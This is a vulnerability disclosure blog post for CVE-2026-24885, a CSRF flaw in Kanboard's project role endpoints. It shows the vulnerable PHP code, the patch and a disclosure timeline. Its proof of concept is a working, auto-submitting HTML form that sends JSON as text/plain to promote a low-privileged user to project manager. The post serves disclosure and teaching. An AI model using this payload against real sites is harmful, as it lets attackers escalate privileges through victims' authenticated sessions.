CVE-2026-24885 – Kanboard CSRF via Content-Type Misconfiguration

In this blog post, I’ll share how I discovered a CSRF vulnerability in Kanboard during a weekend security research project. Since I’m currently learning security code review, I chose this project as a practical way to improve my skills. I’ll also cover the complete process that resulted in the vulnerability.

About Target

Kanboard is an open-source Kanban based project management platform that has approximately 9.5k stars on GitHub and more than 10 million downloads on Docker Hub.

Introduction

During my assessment of the application, I observed that most endpoints use application/x-www-form-urlencoded as the Content-Type, and these endpoints were protected by CSRF tokens. However, some functionalities accepted application/json requests. This led me to review the code paths handling JSON-based requests to identify any security misconfigurations.
One of the endpoints accepting application/json requests was the permission update endpoint, used to modify a user's role within a project (e.g., Project Manager, Project Viewer, or Project Member).
request

Vulnerable Code

While reviewing the changeUserRole function, I noticed that it did not implement any CSRF protection. This means that the endpoint could potentially be exploited through a CSRF attack, allowing a low-privileged user to trick a high-privileged user (such as an admin) into upgrading their project role. However, there was one challenge: using the application/json Content-Type generally makes CSRF exploitation more difficult. To bypass this limitation, I tested whether the endpoint would accept requests with a text/plain Content-Type. Since there was no strict validation enforcing application/json, the server processed the request successfully, making CSRF exploitation possible

// Vulnerable change user role functionality
 public function changeUserRole()
    {
        $project = $this->getProject();
        $values = $this->request->getJson();
        if (empty($project) ||
            empty($values)
        ) {
            $this->response->json(array('status' => 'error'), 500);
            return;
        }
        $userRole = $this->projectUserRoleModel->getUserRole($project['id'], $values['id']);
        $usersGroupedByRole = $this->projectUserRoleModel->getAllUsersGroupedByRole($project['id']);

        if ($userRole === 'project-manager' &&
            $values['role'] !== 'project-manager' &&
            count($usersGroupedByRole['project-manager']) <= 1
        ) {
            $this->response->json(array('status' => 'error'), 500);
            return;
        }
        $this->projectUserRoleModel->changeUserRole($project['id'], $values['id'], $values['role']);
        $this->response->json(array('status' => 'ok'));
    }
// Vulnerable change group role functionality
 public function changeGroupRole()
    {
        $project = $this->getProject();
        $values = $this->request->getJson();
        if (! empty($project) && ! empty($values) && $this->projectGroupRoleModel->changeGroupRole($project['id'], $values['id'], $values['role'])) {
            $this->response->json(array('status' => 'ok'));
        } else {
            $this->response->json(array('status' => 'error'));
        }
    }

Creating CSRF PoC

Since the application accepts text/plain content-type for JSON, I can exploit CSRF using an HTML form. However, forms send data as name=value, so I need to add a dummy parameter to split the JSON payload at the = sign the name attribute contains the JSON before =, and the value attribute contains what's after, resulting in valid JSON like {"id":2,"role":"project-member","a":"=a"}.

<!DOCTYPE html>
<html>
  <body>
    <form action="http://localhost/?controller=ProjectPermissionController&action=changeUserRole&project_id=1"
          method="POST"
          enctype="text/plain">
	    <input type="hidden" name='{"id":2,"role":"project-manager","a":"' value='a"}'>
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

With the PoC complete, the crafted CSRF payload can be sent to a high-privileged user. If the authenticated user visits the malicious page, the request is automatically triggered, resulting in the low-privileged user's role being upgraded to Project Manager.

Patch

The issue has been addressed by adding CSRF protection to both the changeUserRole and changeGroupRole functions. Furthermore, proper Content-Type validation has been enforced to prevent the acceptance of unintended request types.

 public function changeUserRole()
    {
        $this->checkReusableGETCSRFParam();
        $project = $this->getProject();

        if (! $this->request->isAjax()) {
            $this->response->json(array('status' => 'error'), 400);
            return;
        }

        $values = $this->request->getJson();

Full PR on github.

I hope you enjoyed this blog post. Special thanks to the Kanboard maintainers for their quick response and for fixing the vulnerability.

Thank you for reading. cheers, noobstain ^_^.

Timelines

DateStatus
26 Jan 2026Submitted report
27 Jan 2026Patch for the vulnerability is released
28 Jan 2026CVE assigned
xx Jan 2026Report Published Publicly